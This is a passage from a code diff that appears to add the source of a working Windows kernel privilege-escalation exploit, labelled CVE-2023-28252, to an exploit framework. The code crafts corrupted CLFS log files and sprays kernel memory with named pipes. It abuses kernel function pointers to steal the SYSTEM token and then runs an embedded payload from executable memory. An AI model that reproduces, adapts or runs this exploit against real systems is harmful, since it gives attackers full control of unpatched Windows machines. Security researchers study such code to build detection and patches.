sizeof(data1), pfile);// offset 0x1dd0 + + fseek(pfile, 0x1dd4, SEEK_SET); + fwrite(data2, sizeof(char), sizeof(data2), pfile);// offset 0x1dd4 + + fseek(pfile, 0x1de0, SEEK_SET); + fwrite(data3, sizeof(char), sizeof(data3), pfile); // offset 0x1de0 write to a fake _CLFS_CONTAINER_CONTEXT.cidNode.cType the value CLFS_NODE_TYPE_CONTAINER_CONTEXT = 0xC1FDF008 + + fseek(pfile, 0x20b8, SEEK_SET); + fwrite(data7, sizeof(char), sizeof(data7), pfile); // offset 0x1de0 write to a fake _CLFS_CONTAINER_CONTEXT.cidNode.cType the value CLFS_NODE_TYPE_CONTAINER_CONTEXT = 0xC1FDF008 + + fseek(pfile, 0x20bc, SEEK_SET); + fwrite(data6, sizeof(char), sizeof(data6), pfile); // offset 0x1de0 write to a fake _CLFS_CONTAINER_CONTEXT.cidNode.cType the value CLFS_NODE_TYPE_CONTAINER_CONTEXT = 0xC1FDF008 + + fseek(pfile, 0x20c8, SEEK_SET); + fwrite(data3, sizeof(char), sizeof(data3), pfile); // offset 0x1de0 write to a fake _CLFS_CONTAINER_CONTEXT.cidNode.cType the value CLFS_NODE_TYPE_CONTAINER_CONTEXT = 0xC1FDF008 + + fseek(pfile, 0x20cc, SEEK_SET); + fwrite(data4, sizeof(char), sizeof(data4), pfile); // offset 0x1de0 write to a fake _CLFS_CONTAINER_CONTEXT.cidNode.cType the value CLFS_NODE_TYPE_CONTAINER_CONTEXT = 0xC1FDF008 + + fseek(pfile, 0x20e0, SEEK_SET); + fwrite(data5, sizeof(char), sizeof(data5), pfile); // offset 0x1de0 write to a fake _CLFS_CONTAINER_CONTEXT.cidNode.cType the value CLFS_NODE_TYPE_CONTAINER_CONTEXT = 0xC1FDF008 + + fseek(pfile, 0x1de4, SEEK_SET); + fwrite(data4, sizeof(char), sizeof(data4), pfile); // offset 0x1de4 to a fake _CLFS_CONTAINER_CONTEXT.cidNode.cbNode is the size of the container (to 0x30) + + fseek(pfile, 0x1df8, SEEK_SET); + fwrite(data5, sizeof(char), sizeof(data5), pfile); // offset 0x1df8 to a fake _CLFS_CONTAINER_CONTEXT.cidNode.pContainer + + + + fseek(pfile, 0x8258, SEEK_SET); + fwrite(RecordOffset12, sizeof(char), sizeof(RecordOffset12), pfile); // offset 0x8258 RecordOffset[12d] to 0x369// offset 0x858 RecordOffset[12d] to 0x369 + + fseek(pfile, 0x97d0, SEEK_SET); + fwrite(data1, sizeof(char), sizeof(data1), pfile);// offset 0x97d0 to 0x15a0 + + fseek(pfile, 0x97d4, SEEK_SET); + fwrite(data2, sizeof(char), sizeof(data2), pfile);// offset 0x97d4 to 0x1570 + + fseek(pfile, 0x97e0, SEEK_SET); + fwrite(data3, sizeof(char), sizeof(data3), pfile); // offset 0x97e0 shadow block write to a fake _CLFS_CONTAINER_CONTEXT.cidNode.cType the value CLFS_NODE_TYPE_CONTAINER_CONTEXT = 0xC1FDF008 + + fseek(pfile, 0x97e4, SEEK_SET); + fwrite(data4, sizeof(char), sizeof(data4), pfile); // offset 0x97e4 shadow block to a fake _CLFS_CONTAINER_CONTEXT.cidNode.cbNode is the size of the container (to 0x30) + + fseek(pfile, 0x97f8, SEEK_SET); + fwrite(data5, sizeof(char), sizeof(data5), pfile); // offset 0x1df8 shadow block to a fake _CLFS_CONTAINER_CONTEXT.cidNode.pContainer + + + return; +} + +VOID clfs_eop::craftSprayFile(FILE* pfile) { + + unsigned char ValidSectorCount[] = { 0x01, 0x00}; // offset 0x6 ValidSectorCount + + unsigned char ullDumpCount[] = { 0x02, 0x00 }; // offset 0x70 ullDumpCount + + unsigned char eExtendState[] = { 0x02, 0x00 }; // offset 0x84 eExtendState + + unsigned char iExtendBlock[] = { 0x04, 0x00 }; // offset 0x88 iExtendBlock + + unsigned char iFlushBlock[] = { 0x04, 0x00 }; // offset 0x8a iFlushBlock + + unsigned char cExtendStartSectors[] = { 0x01, 0x00 }; // offset 0x90 cExtendStartSectors + + unsigned char cExtendSectors[] = { 0x03, 0x00 }; // offset 0x94 cExtendSectors + + unsigned char cClients[] = { 0x02, 0x00 }; // offset 0x9c cClients + + unsigned char cbsymbolZone[] = { 0xc8, 0x65 }; // offset 0x1b98 cbsymbolZone for windows 11 and 10 + + + unsigned char rawData[512] = { + 0x15, 0x00, 0x01, 0x00, 0x02, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0x00, 0x00, 0x00, 0x00, + 0xFF, 0xFF, 0xFF, 0xFF, 0x70, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF8, 0x03, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x1C, 0x5F, 0x00, 0x00, 0xF5, 0xC1, 0xF5, 0xC1, 0x01, 0x00, 0x00, 0x00, + 0x02, 0x00, 0x00, 0x00, 0x04, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x01, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, + 0x00, 0x04, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7A, 0x00, 0x00, + 0x00, 0x08, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7A, 0x00, 0x00, + 0x00, 0x82, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, + 0x00, 0xFC, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, + 0x00, 0xFE, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x50, 0x01 + }; + + + fseek(pfile, 0x400, SEEK_SET); + fwrite(rawData, sizeof(char), sizeof(rawData), pfile); //build a valid header in shadow + + unsigned char rawdata2[] = { 0x30, 0x01 }; // offset 0x1b98 cbsymbolZone for windows 11 and 10 + + fseek(pfile, 0x7fe, SEEK_SET); + fwrite(rawdata2, sizeof(char), sizeof(rawdata2), pfile); //build a valid header in shadow + + fseek(pfile, 0x6, SEEK_SET); + fwrite(ValidSectorCount, sizeof(char), sizeof(ValidSectorCount), pfile); //ValidSectorCount to 1 + + + fseek(pfile, 0x70, SEEK_SET); + fwrite(ullDumpCount, sizeof(char), sizeof(ullDumpCount), pfile); //ullDumpCount to 2 + + fseek(pfile, 0x84, SEEK_SET); + fwrite(eExtendState, sizeof(char), sizeof(eExtendState), pfile); //changing the eExtendState to 2 (ClfsExtendStateFlushingBlock) + + fseek(pfile, 0x88, SEEK_SET); + fwrite(iFlushBlock, sizeof(char), sizeof(iFlushBlock), pfile); //changing the iExtendBlock to 4 + + fseek(pfile, 0x8A, SEEK_SET); + fwrite(iFlushBlock, sizeof(char), sizeof(iFlushBlock), pfile); //changing the iFlushBlock to 4 + + fseek(pfile, 0x90, SEEK_SET); + fwrite(cExtendStartSectors, sizeof(char), sizeof(cExtendStartSectors), pfile); //changing the cExtendStartSectors to 1 + + fseek(pfile, 0x94, SEEK_SET); + fwrite(cExtendSectors, sizeof(char), sizeof(cExtendSectors), pfile); //changing the cExtendSectors to 3 + + fseek(pfile, 0x9c, SEEK_SET); + fwrite(cClients, sizeof(char), sizeof(cClients), pfile); //changing the cClients to 2 + + fseek(pfile, 0x484, SEEK_SET); + fwrite(eExtendState, sizeof(char), sizeof(eExtendState), pfile); //changing the eExtendState of the shadow block to 2 (ClfsExtendStateFlushingBlock) + + + unsigned char iExtendBlock2[] = { 0x0, 0x00 }; // offset 0x488 iExtendBlock2 + + unsigned char iFlushBlock2[] = { 0x13, 0x00 }; // offset 0x48a iFlushBlock2 + + fseek(pfile, 0x488, SEEK_SET); + fwrite(iExtendBlock2, sizeof(char), sizeof(iExtendBlock2), pfile); //changing the iExtendBlock of the shadow block to 13 + + fseek(pfile, 0x48A, SEEK_SET); + fwrite(iFlushBlock2, sizeof(char), sizeof(iFlushBlock2), pfile); //changing the iFlushBlock of the shadow block to 13 + + + fseek(pfile, 0x1b98, SEEK_SET); + fwrite(cbsymbolZone, sizeof(char), sizeof(cbsymbolZone), pfile); // changing the cbsymbolZone to 0x65c8 + + fseek(pfile, 0x9598, SEEK_SET); + fwrite(cbsymbolZone, sizeof(char), sizeof(cbsymbolZone), pfile); //changing the cbsymbolZone to of the shadow 0x65c8 + + return; +} + +int clfs_eop::FixCRCFile(WCHAR* _stored_temp_open) { + + DWORD numread; + + memset(buff2, 0, sizeof(buff2)); + memset(buff1, 0, sizeof(buff1)); + memset(buff, 0, sizeof(buff)); + memset(buff3, 0, sizeof(buff3)); + + HANDLE hFile = CreateFileW(_stored_temp_open, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); + + if (hFile == INVALID_HANDLE_VALUE) { + return 1; + } + + //-------------------------------------------------------------------- + + SetFilePointer(hFile, 0x0, NULL, FILE_BEGIN); + ReadFile(hFile, buff2, NUMELEM2, &numread, NULL); + *((DWORD*)(buff2 + 0xc)) = 0; + + uint32_t CRC = crcCalculatorAndFix(buff2, NUMELEM2); + + //-------------------------------------------------------------------- + + SetFilePointer(hFile, 0x400, NULL, FILE_BEGIN); + ReadFile(hFile, buff1, NUMELEM2, &numread, NULL); + *((DWORD*)(buff1 + 0xc)) = 0; + + if (numread != NUMELEM2) + { + printf("ERROR2\n"); + CloseHandle(hFile); + return 1; + } + + uint32_t CRC1 = crcCalculatorAndFix(buff1, NUMELEM2); + + //-------------------------------------------------------------------- + + SetFilePointer(hFile, 0x800, NULL, FILE_BEGIN); + ReadFile(hFile, buff, NUMELEM, &numread, NULL); + *((DWORD*)(buff + 0xc)) = 0; + + if (numread != NUMELEM) + { + printf("ERROR3\n"); + CloseHandle(hFile); + return 1; + } + + uint32_t CRC2 = crcCalculatorAndFix(buff, NUMELEM); + + //-------------------------------------------------------------------- + + SetFilePointer(hFile, 0x8200, NULL, FILE_BEGIN); + ReadFile(hFile, buff3, NUMELEM, &numread, NULL); + *((DWORD*)(buff3 + 0xc)) = 0; + + if (numread != NUMELEM) + { + printf("ERROR4\n"); + CloseHandle(hFile); + return 1; + } + + uint32_t CRC3 = crcCalculatorAndFix(buff3, NUMELEM); + + + //printf("CRC = %x\n", CRC); + //printf("CRC1 = %x\n", CRC1); + //printf("CRC2 = %x\n", CRC2); + //printf("CRC3 = %x\n", CRC3); + + SetFilePointer(hFile, 0xc, NULL, FILE_BEGIN); + WriteFile(hFile, &CRC, 4, &numread, NULL); + SetFilePointer(hFile, 0x40c, NULL, FILE_BEGIN); + WriteFile(hFile, &CRC1, 4, &numread, NULL); + SetFilePointer(hFile, 0x80c, NULL, FILE_BEGIN); + WriteFile(hFile, &CRC2, 4, &numread, NULL); + SetFilePointer(hFile, 0x820c, NULL, FILE_BEGIN); + WriteFile(hFile, &CRC3, 4, &numread, NULL); + + CloseHandle(hFile); + + return 0; +} + +int clfs_eop::crcCalculatorAndFix(char* mybuf, int mysize) { + + + uint32_t table[256]; + crc32::generate_table(table); + + // Struct, for piece-by-piece, bytewise + struct DataStruct { + uint16_t data1; + uint16_t data2; + float mypi; + uint32_t myclock; + bool begun; + }; + + + + char* ptr = (char*)mybuf; + uint16_t slen = mysize; + + + uint32_t CRC = 0; + for (int cnt = 0; cnt < slen; cnt++) { + CRC = crc32::update(table, CRC, ptr, 1); + ptr++; + } + + + + + return CRC; +} + +int clfs_eop::doFirstAlloc() { + + UINT64 alloc00 = 0x5000000; + UINT64 alloc01 = 0x10000; + + + if (!VirtualAlloc((LPVOID)alloc00, 0x100000, 0x3000, 4)) { + printf("[-] Failed to allocate memory\n"); + return 0; + } + + return 0; +} + +VOID clfs_eop::FindKernelModulesBase() +{ + + UINT64 retval = 0; + HANDLE hHeap = GetProcessHeap(); + LPVOID lpHeapBuffer = HeapAlloc(hHeap, 0, 0x2000); + DWORD dwBytesReturned = 0; + + if (!lpHeapBuffer) { + return; + } + + NTSTATUS status = fnNtQuerySystemInformation( + (SYSTEM_INFORMATION_CLASS)SystemModuleInformation, + lpHeapBuffer, + 0x2000, + &dwBytesReturned + ); + + if (!NT_SUCCESS(status)) { + HeapFree(hHeap, 0, lpHeapBuffer); + lpHeapBuffer = HeapAlloc(hHeap, 0, dwBytesReturned); + + if (!lpHeapBuffer) { + return; + } + + memset(lpHeapBuffer, 0, dwBytesReturned); + + status = fnNtQuerySystemInformation( + (SYSTEM_INFORMATION_CLASS)SystemModuleInformation, + lpHeapBuffer, + dwBytesReturned, + &dwBytesReturned + ); + + if (!NT_SUCCESS(status)) { + return; + } + } + + PSYSTEM_MODULE_INFORMATION psm = (PSYSTEM_MODULE_INFORMATION)lpHeapBuffer; + if (psm->NumberOfModules > 0) { + retval = (UINT64)psm->Modules[0].ImageBase; + ntos_kernelBase = retval; + + } + + unsigned int i = 0; + for (i = 0; i < psm->NumberOfModules; i++) + { + if (!strncmp(clfs_path, (CHAR*)psm->Modules[i].FullPathName, strlen(clfs_path))) break; + } + + + clfs_kernelBase = (UINT64)psm->Modules[i].ImageBase; + return; +} + +void clfs_eop::manage_args(int argc, TCHAR* argv[]) { + + if (argc != 3) { + printf("[+] Incorrect number of arguments ... using default value 1208 and flag 1 for w11 and w10\n"); + argv[1] = (TCHAR*)"1208"; + argv[2] = (TCHAR*)"1"; + } + + + token_offset = 1208; + if (token_offset == 0) { + printf("[+] Invalid token offset argument, must be decimal number\n"); + exit(1); + } + + flag = 1; + if (flag == 0) { + printf("[+] Invalid token offset argument, must be decimal number\n"); + exit(1); + } + + printf("\n\nARGUMENTS\n"); + printf("[+] TOKEN OFFSET %x\n", token_offset); + printf("[+] FLAG %x\n\n", flag); + return; +} + +VOID clfs_eop::RunPayload() +{ + PVOID Payload = NULL; + + Payload = VirtualAlloc(NULL, sizeof(g_Agent), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); + if (Payload) + { + RtlZeroMemory(Payload, sizeof(g_Agent)); + RtlCopyMemory(Payload, g_Agent, sizeof(g_Agent)); + (*(VOID(*)())Payload)(); + } +} + +void clfs_eop::fun_prepare() { + + _wfopen_s(&pfile, stored_name_fopen, L"rb+"); + if (pfile == 0) { + printf("\nCant't open file, error %x\n", GetLastError()); + exit(1); + } + craftbaseFile(pfile); + fclose(pfile); + FixCRCFile(stored_name_fopen); + system_EPROCESS_low = system_EPROCESS & 0xfff; + system_EPROCESS_high = system_EPROCESS & 0xfffffffffffff000; + + ULONG retlen2 = 0; + DWORD* dest1 = 0; + dest1 = (DWORD*)VirtualAlloc(0, 0x1000, 0x1000, 4); + fclose(pfile); + + HMODULE nt = GetModuleHandleA("ntdll"); + + + dest2 = 0xffffffff; + dest3 = 0x100000007; + value2 = 0x414141414141005A; + + + if (!VirtualAlloc((LPVOID)dest2, 0x10000, 0x3000, 4)) + { + return; + } + + memset((LPVOID)dest3, 0, 0xff8); + *(UINT64*)dest2 = system_EPROCESS_high; + + + *(UINT64*)dest3 = value2; + CLFS_kernelAddrArray = getBigPoolInfo(); + + //wprintf(L"Name %s", stored_name_CreateLog); + + hlogfile = CreateLogFile(stored_name_CreateLog, 0xC0010000, FILE_SHARE_READ, 0, 3, 0); + if (hlogfile == INVALID_HANDLE_VALUE) { + printf("[+] Can't open hlog file\n"); + exit(0); + } + + CLFS_kernelAddrArray = getBigPoolInfo(); + + + + + LONGLONG pcbContainer = 512; + WCHAR pwszContainerPath[768] = { 0 }; + wsprintfW(pwszContainerPath, stored_env_containerfname); + + + + if (!AddLogContainer(hlogfile, (PULONGLONG)&pcbContainer, pwszContainerPath, 0)) + { + CloseHandle(hlogfile); + printf("AddLogContainer Fail, please delete C:\\Users\\Public\\MyLxg_xxx.blf and try again\n"); + exit(1); + } + printf("[+] Log file handle: %p\n", hlogfile); + + printf("[+] Pool CLFS kernel address: %p\n", (void*)CLFS_kernelAddrArray); + + + return; +} + +WCHAR* clfs_eop::logFileNames(int _i) { + + + tmp_env8 = (WCHAR*)malloc(0x1000); + if (!tmp_env8) { + printf("[!] Allocation failed with error %x\n", (unsigned int)GetLastError()); + exit(1); + } + memset(tmp_env8, 0, 0x1000); + + + + + wsprintfW(tmp_env8, L"LOG:%s\\%d_%d", stored_env, _i, random_part2); + + //wprintf((LPWSTR)L"[+] Log file name used in CreateLogFile Path = %ls\n", tmp_env8); //stored_env_spray is example=LOG:C:\Users\Public\1280 + + return tmp_env8; +} + +WCHAR* clfs_eop::containerNames(int _i) { + + + tmp_env8 = (WCHAR*)malloc(0x1000); + if (!tmp_env8) { + printf("[!] Allocation failed with error %x\n", (unsigned int)GetLastError()); + exit(1); + } + memset(tmp_env8, 0, 0x1000); + + + + + wsprintfW(tmp_env8, L"%s\\.p_%d_%d", stored_env, _i, random_part2); + + + return tmp_env8; +} + +WCHAR* clfs_eop::fileNames(int _i) { + + + tmp_env8 = (WCHAR*)malloc(0x1000); + if (!tmp_env8) { + printf("[!] Allocation failed with error %x\n", (unsigned int)GetLastError()); + exit(1); + } + memset(tmp_env8, 0, 0x1000); + + + + + wsprintfW(tmp_env8, L"%s\\%d_%d.blf", stored_env, _i, random_part2); + + + return tmp_env8; +} + +int clfs_eop::fun_trigger(WCHAR* _logfilename, WCHAR* _fopenfilename) { + + int error_flag = 0; + + + _wfopen_s(&pfile2, _fopenfilename, L"r+"); + if (pfile2 == 0) { + printf("Cant't open file, error %x\n", GetLastError()); + exit(1); + } + + //printf("to Fix\n)"); + + craftSprayFile(pfile2); + fclose(pfile2); + + error_flag=FixCRCFile(_fopenfilename); + + + return error_flag; +} + +void clfs_eop::to_trigger() +{ + + + // 1. Create a spray log file in the folder C:\Users\Public\ via the CreateLogFile API + + //printf("\nSpraying log files\n"); + + srand((unsigned int)time(NULL)); + random_part2 = rand(); + + stored_log_arrays[0] = logFileNames(0); + stored_container_arrays[0] = containerNames(0); + stored_fopen_arrays[0] = fileNames(0); + + logFile2 = CreateLogFile(stored_log_arrays[0], GENERIC_READ | GENERIC_WRITE, 1, 0, OPEN_ALWAYS, 0); + + if (logFile2 == INVALID_HANDLE_VALUE) { + DWORD error = GetLastError(); + printf("Could not create LOGfile2, error: 0x%x\n", (unsigned int)error); + exit(-1); + } + CloseHandle(logFile2); + + for (int i = 1; i < 10; i++) + { + + stored_log_arrays[i] = logFileNames(i); + stored_container_arrays[i] = containerNames(i); + stored_fopen_arrays[i] = fileNames(i); + + int resul=CopyFileW(fileNames(0), fileNames(i), TRUE); + + if (resul == 0) { + DWORD error = GetLastError(); + printf("copy error: 0x%x\n", (unsigned int)error); + exit(-1); + } + + fun_trigger(stored_log_arrays[i], stored_fopen_arrays[i]); + + } + + HANDLE _hthread = GetCurrentThread(); + SetThreadAffinityMask(_hthread, 1); + buffer_0x1a0 = malloc(0x1a0); + if (buffer_0x1a0 == 0) { exit(0); } + + memset(buffer_0x1a0, 0x41, 0x1a0); + + UINT64 arrayCLFSkernelAddress[12] = { 0 }; + + arrayCLFSkernelAddress[0] = CLFS_kernelAddrArray + 0x30; + arrayCLFSkernelAddress[1] = CLFS_kernelAddrArray + 0x30; + arrayCLFSkernelAddress[2] = CLFS_kernelAddrArray + 0x30; + arrayCLFSkernelAddress[3] = CLFS_kernelAddrArray + 0x30; + arrayCLFSkernelAddress[4] = CLFS_kernelAddrArray + 0x30; + arrayCLFSkernelAddress[5] = CLFS_kernelAddrArray + 0x30; + arrayCLFSkernelAddress[6] = CLFS_kernelAddrArray + 0x30; + arrayCLFSkernelAddress[7] = CLFS_kernelAddrArray + 0x30; + arrayCLFSkernelAddress[8] = CLFS_kernelAddrArray + 0x30; + arrayCLFSkernelAddress[9] = CLFS_kernelAddrArray + 0x30; + arrayCLFSkernelAddress[10] = CLFS_kernelAddrArray + 0x30; + arrayCLFSkernelAddress[11] = CLFS_kernelAddrArray + 0x30; + + int const_0x5000 = 0x5000; + int const_0x4000 = 0x4000; + + BOOL test = (UINT64)(UINT)0x5000 >> 28 != 0; + UINT _size = (UINT)(16 * 0x5000); + if (test) + _size = -1; + + + + handles_buffer1 = (UINT64 *)malloc(_size); + if (!handles_buffer1) { exit(0); } + + fun_pipeSpray(0x5000, handles_buffer1); //call to fun_pipeSpray with 0x5000 value + + test = (UINT64)(UINT)0x4000 >> 28 != 0; + _size = (UINT)(16 * 0x4000); + if (test) + _size = -1; + + handles_buffer2 = (UINT64*)malloc(_size); + if (!handles_buffer2) { exit(0); } + + fun_pipeSpray(0x4000, handles_buffer2);//call to fun_pipeSpray with 0x4000 value + + UINT64 * pipeA = handles_buffer1; + UINT64* pipeB = handles_buffer2; + UINT64* resulpipe = pipeA + 1; + UINT64* resulpipe2 = pipeB + 1; + + DWORD byteswritten = 0; + + for (int j = 0; j < 0x5000; j++) + { + if (!WriteFile((HANDLE) *resulpipe, arrayCLFSkernelAddress, 0x60, &byteswritten, 0)) + { + do + { + CloseHandle((HANDLE)*pipeA); + CloseHandle((HANDLE)pipeA[1]); + pipeA += 2; + --const_0x5000; + + } while (const_0x5000); + + exit(1); + + } + + resulpipe += 2; + } + + UINT64 * pipeA_2 = pipeA + 0x2000; + UINT64 const_0x667 = 0x667; + + do + { + CloseHandle((HANDLE)*pipeA_2); + CloseHandle((HANDLE)pipeA_2[1]); + pipeA_2 += 10; + --const_0x667; + } while (const_0x667); + + + WCHAR** arrays_log_names = stored_log_arrays; + UINT64 const_10 = 10; + UINT64 const_10b = 10; + HANDLE store_handles[10] = { 0 }; + int z = 0; + do + { + --const_10; + //wprintf((LPWSTR)L"\n[+] Names again = %ls\n", stored_log_arrays[const_10]); + logFile = CreateLogFile(stored_log_arrays[const_10], GENERIC_READ | GENERIC_WRITE , FILE_SHARE_READ, 0, OPEN_ALWAYS, 0); + + if (logFile == INVALID_HANDLE_VALUE) { + DWORD error = GetLastError(); + printf("Could not create LOGfile3, error: 0x%x\n", (unsigned int)error); + exit(-1); + } + + + //printf("logFile %x\n", logFile); + store_handles[z] = logFile; + z++; + + } while (const_10); + + int contador_2 = 0164; + resulpipe2 = pipeB + 1; + do + { + // spray Fill pipe2 + if (!(unsigned int)WriteFile((HANDLE)*resulpipe2, arrayCLFSkernelAddress, 0x60, &byteswritten, 0)) + { + do + { + CloseHandle((HANDLE)*pipeB); + CloseHandle((HANDLE)pipeB[1]); + pipeB += 2; + --const_0x4000; + } while (const_0x4000); + exit(1); + } + resulpipe2 += 2; + ++contador_2; + } while (contador_2 < 0x4000); + + LONGLONG pcbContainer2 = 512; + int contador_3 = 0; + int resul = 0; + + while (1) + // one version + { + _int64 v57 = (_int64)temp_chunk; + + + dprintf("TRIGGER START\n"); + + resul = AddLogContainer(store_handles[contador_3], (PULONGLONG)&pcbContainer2, stored_container_arrays[contador_3], 0);// AddLogContainer + + *(UINT64*)0x5000040 = 0x5000000; + *(UINT64*)0x5000000 = 0x5001000; + *(UINT64*)0x5001000 = fnClfsEarlierLsn; + *(UINT64*)0x5001008 = fnPoFxProcessorNotification; + *(UINT64*)0x5001010 = fnClfsEarlierLsn; + *(UINT64*)0x5001018 = fnClfsEarlierLsn; + *(UINT64*)0x5001020 = fnClfsEarlierLsn; + *(UINT64*)0x5001028 = fnClfsEarlierLsn; + *(UINT64*)0x5001030 = fnClfsEarlierLsn; + *(UINT64*)0x5001038 = fnClfsEarlierLsn; + *(UINT64*)0x5001040 = fnClfsEarlierLsn; + *(UINT64*)0x5000068 = fnClfsMgmtDeregisterManagedClient; + *(UINT64*)0x5000048 = 0x5000400; + *(UINT64*)0x5000400 = 0x5001300; + *(UINT64*)0x5000448 = para_PipeAttributeobjInkernel + 0x18; + *(UINT64*)0x5001328 = fnClfsEarlierLsn; + *(UINT64*)0x5001308 = fnSeSetAccessStateGenericMapping; + + + CloseHandle(logFile); + + + + logFile = CreateLogFile(stored_name_CreateLog, GENERIC_READ | GENERIC_WRITE | DELETE, FILE_SHARE_READ, 0, OPEN_EXISTING, 0); + + int const_0x5a = 0x5a; + + + + _NtFsControlFile(hPipeWrite, 0, 0, 0, &status_block, 0x110038, &const_0x5a, 2, temp_chunk, 0x2000); + + + + pos_token = (unsigned int)system_EPROCESS_low + (unsigned int)token_offset; + + //printf("pos_token: %x\n", pos_token); + + + System_token_value2 = *(UINT64*)((UINT64)pos_token + (UINT64)temp_chunk); + + dprintf("System_token_value: %p\n", (void*)System_token_value2); + + + + if (*(UINT64*)(pos_token + (UINT64)temp_chunk) >= 0x8181818181818181) { + dprintf("SYSTEM TOKEN CAPTURED"); + break; + } + else { + dprintf("TRYING AGAIN\n"); + } + contador_3++; + + } + + + + + *(UINT64*)0xFFFFFFFF = *(UINT64*)(pos_token + (UINT64)temp_chunk);// system token write content + *(UINT64*)0x100000007 = System_token_value; + *(UINT64*)0x5000448 = g_EProcessAddress + token_offset - 8;// target wire address + CreateLogFile(stored_name_CreateLog, GENERIC_READ | GENERIC_WRITE | DELETE, FILE_SHARE_READ, 0, OPEN_EXISTING, 0); + + *(UINT64*)0xFFFFFFFF = 0x1458; + *(UINT64*)0x100000007 = 0164; + *(UINT64*)0x5000448 = CLFS_kernelAddrArray + 0x390; + CreateLogFile(stored_name_CreateLog, GENERIC_READ | GENERIC_WRITE | DELETE, FILE_SHARE_READ, 0, OPEN_EXISTING, 0); + + dprintf("Closing Handle\n"); + CloseHandle(logFile); + + + TCHAR username[500]; + DWORD size = 500; + + if (GetUserName((TCHAR*)username, &size)) { + std::wcout << "ACTUAL USER=" << username << std::endl; + } + else { + std::cerr << "Error: " << GetLastError() << std::endl; + + } + + if (strcmp(username, "SYSTEM") == 0){ + dprintf("WE ARE SYSTEM\n"); + } + else { + dprintf("NOT SYSTEM\n"); + } + + return; + +} diff --git a/external/source/exploits/CVE-2023-28252/CVE-2023-28252/clfs_eop.h b/external/source/exploits/CVE-2023-28252/CVE-2023-28252/clfs_eop.h new file mode 100755 index 000000000000..cedb0eea8188 --- /dev/null +++ 